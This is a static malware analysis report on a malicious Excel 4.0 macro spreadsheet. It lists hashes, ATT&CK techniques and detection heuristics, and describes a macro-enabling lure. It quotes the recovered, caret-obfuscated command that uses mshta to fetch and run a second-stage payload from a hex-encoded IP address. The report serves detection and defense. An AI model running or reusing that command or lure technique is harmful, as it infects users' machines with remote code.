Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 a2dc81e28d7385c6…

MALICIOUS

Office (OLE) / .XLS

64.7 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 807ba36b591a9ea36be231b78b8a86b1 SHA-1: bb78faec6d050d748b7465de62e500e5095d4075 SHA-256: a2dc81e28d7385c64baf98680ab6cf86f06c0e0e4fa8ffdec487d2de4378dc76
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses a lure to trick the user into enabling macros. Upon enabling, it executes an Auto_Open macro that reconstructs and runs the command 'cmd /c m^sh^t^a http://0xc12a24f5/cc.html', indicating it downloads and executes a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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